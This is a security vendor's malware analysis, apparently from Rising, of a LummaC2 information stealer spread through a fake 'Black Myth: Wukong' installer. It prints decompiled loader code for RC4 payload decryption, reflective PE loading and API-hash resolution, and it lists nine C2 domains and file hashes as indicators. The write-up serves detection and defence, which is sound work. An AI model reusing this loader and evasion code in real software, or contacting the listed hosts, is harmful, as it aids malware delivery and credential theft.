黑灰产借《黑神话:悟空》之名传播信息窃取木马

黑灰产借《黑神话:悟空》之名传播信息窃取木马

概述

  近日瑞星威胁情报平台捕获到一起伪装《黑神话:悟空》安装包传播木马的攻击事件,企图诱骗用户下载安装,运行安装包后实际会运行攻击者部署的恶意代码而非游戏安装程序。经分析相关恶意文件为LummaC2信息窃取木马。LummaC2是一款使用C++开发的信息窃取木马,自2022年8月以来,它在俄语论坛上以恶意软件即服务(MaaS)的形式运营。该恶意软件由恶意软件开发者使用Lumma化名创建,目标是加密货币钱包、浏览器双重身份验证(2FA)扩展、登录凭据以及受害者机器上的其他敏感数据,我们可以在黑客论坛中找到其发布的广告。

image

其发布版本分为三档功能分别如下:

  • Experienced($250/月) 包含批量下载日志、根据特定参数过滤日志等功能。
  • Professional($500/月) 包含创建无限数量的规则、批量删除日志、修改配置文件、内存加载其他下发插件等功能。
  • Corporate($1000/月) 除了包含前两个计划的所有功能外,还包括样本结构随意变形和天堂之门(Heaven's Gate)技术,用于绕过动态分析和提高恶意软件的存活能力。

可以发现功能也是较为完善的,本文便是对该家族的一次分析。在此也提醒各位天命人下载时擦亮双眼,切勿被恶意软件蒙蔽双眼,如有能力最好支持正版,避免贪小便宜吃大亏。

事件详情

  本次捕获初始载荷为攻击者在sourceforge.net上发布的名为Black Myth Wukong 2024_MultiSetup_HPSupportSolutionsFramework-13.0.1.131.msi的文件,伪装《黑神话:悟空》安装包,运行后会释放出恶意文件HPSupportSolutionsFramework-13.0.1.131.exe。该文件为LummaC2窃密木马的加载器,通过加载器解密加载LummaC2窃密木马。

image

攻击流程

image

样本分析

加载器:HPSupportSolutionsFramework-13.0.1.131.exe

字段 内容
原始文件名 HPSupportSolutionsFramework-13.0.1.131.exe
文件大小 39.38 MB (41295366 bytes)
文件MD5 00e72c6ace5e80417ed56b137f4b905b
文件类型 exe
病毒名 Trojan.Kryptik!1.103DD
主要功能 解密后续载荷并运行

初始样本为msi文件,在运行后会释放并执行真正的恶意加载器HPSupportSolutionsFramework-13.0.1.131.exe,该可执行文件将恶意代码嵌套在SEH异常处理函数中,通过手动将自定义的异常处理函数插入到SEH链中并触发异常来实现代码执行。在异常处理函数中,它会再次触发异常并插入新的异常处理函数,直到执行隐藏在第三个异常处理函数中的恶意代码

image

该样本将下一阶段的恶意载荷分为0x7E份存放于Bitmap类资源中,将需要解密的资源个数存放于RCData类资源中

image

恶意代码首先从资源处读取RCData获取所需读取的资源个数,将Bitmap中的所需资源从0x28处开始读0x898大小并通过自实现的字符串复制拷贝函数403310拼接在一起。

hResInfo = FindResourceA(0, (LPCSTR)1, (LPCSTR)2);
  if ( !hResInfo )
    return 0;
  hResData = LoadResource(0, hResInfo);
  if ( !hResData )
    return 0;
  LockResource(hResData);
  ResourceA = FindResourceA(0, (LPCSTR)1, (LPCSTR)0xA);
  if ( !ResourceA )
    return 0;
  Resource = LoadResource(0, ResourceA);
  if ( !Resource )
    return 0;
  v13 = *(_DWORD *)LockResource(Resource);      // 获取资源个数
  v18 = SizeofResource(0, hResInfo);            // 每个资源的大小
  v19 = VirtualAlloc(0, v13 * v18, 0x3000u, 4u);
  v15 = 0x28;
  v17 = 0;
  for ( i = 0; i < v13; ++i )
  {
    hResInfoa = FindResourceA(0, (LPCSTR)(unsigned __int16)(i + 1), (LPCSTR)2);
    if ( !hResInfoa )
      return 0;
    v6 = LoadResource(0, hResInfoa);
    if ( !v6 )
      return 0;
    v12 = (char *)LockResource(v6);
    lpAddress = (char *)VirtualAlloc(0, v18, 0x3000u, 4u);
    sub_403310(lpAddress, v12, v18);
    v5 = sub_4027D0((unsigned __int16 *)lpAddress + 2);
    for ( j = 0; j < v5; ++j )
    {
      for ( k = 0; k < v5; ++k )
      {
        sub_403310((_BYTE *)v19 + v17, &lpAddress[v15], 3);
        v17 += 3;
        v15 += 3;
      }
    }
    v15 = 0x28;
    VirtualFree(lpAddress, 0, 0x8000u);
    v17 -= 0x98;
  }

恶意载荷拼接完成后将密钥123123及其长度传入函数403460中通过RC4算法解密出最终载荷,之后通过解析PE文件结构将最后一个区段的PointerToRawData + SizeOfRawData获取到整个文件的大小用于调用VirtualAlloc申请空间,之后通过403310将载荷拷贝至新开辟的空间中。

  v2 = lstrlenA("123123");
  sub_403460((int)"123123", v2, (int)v19, v13 * v18);
  v20 = (char *)v19 + v19[15];
  v4 = (int)&v20[*((unsigned __int16 *)v20 + 10) + 24];
  v9 = *(_DWORD *)(v4 + 40 * (*((unsigned __int16 *)v20 + 3) - 1) + 16)
     + *(_DWORD *)(v4 + 40 * (*((unsigned __int16 *)v20 + 3) - 1) + 20);
  v3 = VirtualAlloc(0, v9, 0x3000u, 0x40u);
  sub_403310(v3, (char *)v19, v9);
  VirtualFree(v19, 0, 0x8000u);
  return v3;

image

之后在函数402F60中加载ntdll.dll并获取NtAllocateVirtualMemory函数地址,使用NtAllocateVirtualMemory分配内存将PE文件逐区段拷入,修复导入表与重定位表后跳转文件入口点执行,实现反射加载

_DWORD *__cdecl sub_402F60(_DWORD *a1)
{
  _DWORD *result; // eax
  char *v2; // eax
  const CHAR *v3; // eax
  int v4; // eax
  const CHAR *v5; // eax
  HANDLE CurrentProcess; // eax
  FARPROC v7; // eax
  CHAR *v8; // [esp+38h] [ebp-64h]
  unsigned int v9; // [esp+3Ch] [ebp-60h]
  FARPROC ProcAddress; // [esp+48h] [ebp-54h]
  HMODULE hModule; // [esp+4Ch] [ebp-50h]
  HMODULE LibraryA; // [esp+50h] [ebp-4Ch]
  _DWORD *v13; // [esp+58h] [ebp-44h]
  _DWORD *v14; // [esp+5Ch] [ebp-40h]
  int v15; // [esp+64h] [ebp-38h]
  unsigned __int8 v16; // [esp+6Eh] [ebp-2Eh]
  unsigned __int8 v17; // [esp+6Fh] [ebp-2Dh]
  FARPROC *v18; // [esp+70h] [ebp-2Ch]
  unsigned int m; // [esp+74h] [ebp-28h]
  _DWORD *v20; // [esp+78h] [ebp-24h]
  int *v21; // [esp+80h] [ebp-1Ch]
  CHAR *j; // [esp+84h] [ebp-18h]
  CHAR *k; // [esp+88h] [ebp-14h]
  unsigned __int16 i; // [esp+8Ch] [ebp-10h]
  CHAR *v25; // [esp+90h] [ebp-Ch] BYREF
  int v26; // [esp+94h] [ebp-8h] BYREF

  result = a1;
  if ( *(_WORD *)a1 == 0x5A4D )
  {
    result = (_DWORD *)(a1[15] / 4u);
    if ( !(a1[15] % 4u) )
    {
      result = (_DWORD *)((char *)a1 + a1[15]);
      v20 = result;
      if ( *result == 0x4550 )
      {
        v25 = 0;
        v2 = (char *)((char *(__stdcall *)(const char *, _DWORD))sub_401330)("ntdll.dll", v17);
        v3 = (const CHAR *)sub_403890(v2);
        hModule = LoadLibraryA(v3);
        v4 = sub_401050("NtAllocateVirtualMemory", v16);
        v5 = (const CHAR *)sub_403920(v4);
        ProcAddress = GetProcAddress(hModule, v5);
        v26 = v20[20];
        CurrentProcess = GetCurrentProcess();
        result = (_DWORD *)((int (__stdcall *)(HANDLE, CHAR **, _DWORD, int *, int, int))ProcAddress)(
                             CurrentProcess,
                             &v25,
                             0,
                             &v26,
                             12288,
                             64);
        if ( v25 )
        {
          v15 = (int)v20 + *((unsigned __int16 *)v20 + 10) + 24;
          sub_403310(v25, (char *)a1, v20[21]);
          for ( i = 0; i < (int)*((unsigned __int16 *)v20 + 3); ++i )
            sub_403310(
              &v25[*(_DWORD *)(v15 + 40 * i + 12)],
              (char *)a1 + *(_DWORD *)(v15 + 40 * i + 20),
              *(_DWORD *)(v15 + 40 * i + 16));
          if ( v20[32] && v20[33] > 0x14u )
          {
            for ( j = &v25[v20[32]]; *((_DWORD *)j + 3); j += 20 )
            {
              LibraryA = LoadLibraryA(&v25[*((_DWORD *)j + 3)]);
              if ( LibraryA )
              {
                v21 = (int *)&v25[*(_DWORD *)j];
                v18 = (FARPROC *)&v25[*((_DWORD *)j + 4)];
                if ( !*(_DWORD *)j )
                  v21 = (int *)&v25[*((_DWORD *)j + 4)];
                while ( *v21 )
                {
                  if ( *v21 >= 0 )
                    v7 = GetProcAddress(LibraryA, &v25[*v21 + 2]);
                  else
                    v7 = GetProcAddress(LibraryA, (LPCSTR)(unsigned __int16)*v21);
                  *v18 = v7;
                  ++v21;
                  ++v18;
                }
              }
            }
          }
          if ( v25 != (CHAR *)v20[13] && v20[41] )
          {
            v8 = &v25[-v20[13]];
            result = v20 + 40;
            v14 = v20 + 40;
            if ( !v20[41] || !*v14 )
              return result;
            for ( k = &v25[*v14]; *(_DWORD *)k; k += *((_DWORD *)k + 1) )
            {
              if ( *((_DWORD *)k + 1) >= 8u )
              {
                v9 = (unsigned int)(*((_DWORD *)k + 1) - 8) >> 1;
                v13 = k + 8;
                for ( m = 0; m < v9; ++m )
                {
                  if ( *((_WORD *)v13 + m) )
                    *(_DWORD *)&v25[*(_DWORD *)k + (*((_WORD *)v13 + m) & 0xFFF)] += v8;
                }
              }
            }
          }
          NtCurrentPeb()->ImageBaseAddress = v25;
          return (_DWORD *)((int (*)(void))&v25[v20[10]])();
        }
      }
    }
  }
  return result;
}

LummaC2窃密木马

字段 内容
文件大小 272.00 KB (278528 bytes)
文件MD5 4cecb24b5b33efa0b42a6ff31be358f5
文件类型 exe
病毒名 Stealer.LummaC2!1.103FA
主要功能 窃取信息并回传

相较于其简洁的加载流程,该木马在内部采用了控制流平坦化技术来对抗逆向分析,并对内部的字符串均进行了加密处理,且每个函数内的解密所需的参数均不相同,进一步增加了分析的难度。

image

木马最初会解密出KERNEL32.DLLntdll.dll字符串,在435730中通过PEB获取到两个DLL的基址。

image

之后通过传入dll基址与函数HashHashToAddress,在该函数中通过遍历函数名称表并计算Hash对比传入的函数Hash动态获取函数地址。

pRtlAllocateHeap = HashToAddress((unsigned __int16 *)NtdllBase, 0x93773101);
pRtlReAllocateHeap = HashToAddress((unsigned __int16 *)NtdllBase, 0xA4C5CBA4);
pRtlFreeHeap = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))HashToAddress((unsigned __int16 *)NtdllBase,0x61DD7344);
v1 = -1417171876;
a1 = (int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))HashToAddress((unsigned __int16 *)NtdllBase, 0x95D1F685);
pLoadLibraryExW = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))HashToAddress((unsigned __int16 *)KERNEL32Base,0x19F3ED45);
pFreeLibrary = (int (__stdcall *)(_DWORD))HashToAddress((unsigned __int16 *)KERNEL32Base,0x708F1ED3);
pGetProcAddress = (int (__stdcall *)(_DWORD, _DWORD))HashToAddress((unsigned __int16 *)KERNEL32Base,0x67666A2A);
v1 = -1068479088;

在完成初步准备后通过动态获取的LoadLibraryExW函数获取Winhttp.dll的基址,再通过HashToAddress获取后续网络通信所需的函数

v0 = (int (__stdcall *)(int *, _DWORD, int))pLoadLibraryExW;
  v50 = 0x33C335BF;
  v51 = 0xCFC831C0;
  v52 = 0xCB40CD42;
  v53 = 0xC7FAC93A;
  v54 = 0xC330C53A;
  v55 = 0xDFC0C136;
  v56 = 0;
  for ( i = 0; i < 0x1C; ++i )
  {
    v1 = *((unsigned __int8 *)&v50 + i);
    v78[0] = v1 ^ (i - 1791730439);
    *((_BYTE *)&v50 + i) = (v1 ^ (i - 7)) + 49;
  }
  v2 = v0(&v50, 0, 2048);
  v3 = 0;
  if ( (unsigned __int8)sub_433A00(v2) )
  {
    pWinHttpOpen = HashToAddress((unsigned __int16 *)WinhttpBase, 0xE2BCEB04);
    pWinHttpConnect = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))HashToAddress(
                                                                           (unsigned __int16 *)WinhttpBase,
                                                                           0x248106FA);
    pWinHttpOpenRequest = HashToAddress((unsigned __int16 *)WinhttpBase, 0x89B8457D);
    pWinHttpCrackUrl = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))HashToAddress(
                                                                            (unsigned __int16 *)WinhttpBase,
                                                                            0x44F824FB);
    pWinHttpSetTimeouts = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))HashToAddress(
                                                                                       (unsigned __int16 *)WinhttpBase,
                                                                                       0xF072343C);
    pWinHttpAddRequestHeaders = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))HashToAddress(
                                                                                     (unsigned __int16 *)WinhttpBase,
                                                                                     0x638F2392);
    pWinHttpSendRequest = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))HashToAddress((unsigned __int16 *)WinhttpBase, 0xD711AF57);
    pWinHttpReceiveResponse = (int (__stdcall *)(_DWORD, _DWORD))HashToAddress(
                                                                   (unsigned __int16 *)WinhttpBase,
                                                                   0x1AD145E2);
    pWinHttpQueryDataAvailable = (int (__stdcall *)(_DWORD, _DWORD))HashToAddress(
                                                                      (unsigned __int16 *)WinhttpBase,
                                                                      0xEDB83653);
    pWinHttpReadData = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))HashToAddress(
                                                                            (unsigned __int16 *)WinhttpBase,
                                                                            0xE9E47300);
    pWinHttpWriteData = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))HashToAddress(
                                                                             (unsigned __int16 *)WinhttpBase,
                                                                             0x6B702A5B);
    pWinHttpCloseHandle = (int (__stdcall *)(_DWORD))HashToAddress((unsigned __int16 *)WinhttpBase, 0xC135FFAE);

之后将内置加密域名先Base64解码,在使用解码后的前0x20字节异或解码后的数据得到解密后的域名

unsigned int __cdecl sub_42F7B0(int a1, const void *a2)
{
  unsigned int v2; // esi
  unsigned int v3; // edi
  unsigned int result; // eax
  _BYTE *v5; // edi
  unsigned int i; // ecx
  int v7; // ecx
  char v8[48]; // [esp+Ch] [ebp-30h] BYREF

  v2 = sub_409710(a1);
  v3 = sub_42F8C0(a1, v2);
  result = Base64Decode(a1, v2, (int)a2);
  if ( result == v3 )
  {
    result -= 0x20;
    qmemcpy(v8, a2, 0x20u);
    v5 = a2;
    for ( i = 0; i < result; ++i )
    {
      v5 = a2;
      *((_BYTE *)a2 + i) = (v8[i & 0x1F] & 0xCF | ~v8[i & 0x1F] & 0x30) ^ (*((_BYTE *)a2 + i + 32) & 0xCF | ~*((_BYTE *)a2 + i + 32) & 0x30);
    }
    v5[result] = 0;
    v7 = 1;
  }
  else
  {
    v7 = 0;
  }
  if ( !v7 )
    return 0;
  return result;
}

image

其共内置有9个域名,解密后如下:

  • traineiwnqo.shop
  • reagoofydwqioo.shop
  • locatedblsoqp.shop
  • condedqpwqm.shop
  • evoliutwoqm.shop
  • millyscroqwp.shop
  • stagedchheiqwo.shop
  • caffegclasiqwp.shop
  • stamppreewntnq.shop

解密出域名后通过上述获取到的网络连接API回连C2发送上线包

image

之后从C2获取后续配置文件,根据配置文件窃取信息。由于分析时C2已经失效无法继续后续分析,但根据公开情报可以发现其窃取目标主要包括加密货币钱包扩展程序浏览器内保存的登陆凭据其他支持保存密码的客户端软件。在获取完信息之后会通过POST请求发回C2。

image

总结

  该窃密木马正在广泛传播,在我们追踪关联时也发现其针对同行的钓鱼事件,在各黑客论坛发布名为ccMirai.rarOnlyFunChecker.zipDisneyChecker.rar等伪装为黑灰产工具的钓鱼文件,与本次发现的攻击使用的是同一批基础设施。本次发现其利用《黑神话:悟空》之名传播窃密木马一事让我们得以窥见这个家族的攻击触手,它们如深海巨兽般逐渐浮现,从破解软件到同行互相钳制。受害者与加害者的身份在这种混沌中愈发模糊,各类黑客攻击如同一根根蔓延的触须,将目标牢牢困住,扩展至网络世界的隐秘角落。当然,我们也会持续关注该组织动态。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本。

image

沦陷信标(IOC)

  • MD5

    4cecb24b5b33efa0b42a6ff31be358f5
    00e72c6ace5e80417ed56b137f4b905b
  • Domain

    traineiwnqo.shop
    reagoofydwqioo.shop
    locatedblsoqp.shop
    condedqpwqm.shop
    evoliutwoqm.shop
    millyscroqwp.shop
    stagedchheiqwo.shop
    caffegclasiqwp.shop
    stamppreewntnq.shop
  • 瑞星病毒名

    Trojan.Kryptik!1.103DD
    Stealer.LummaC2!1.103FA

参考链接

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *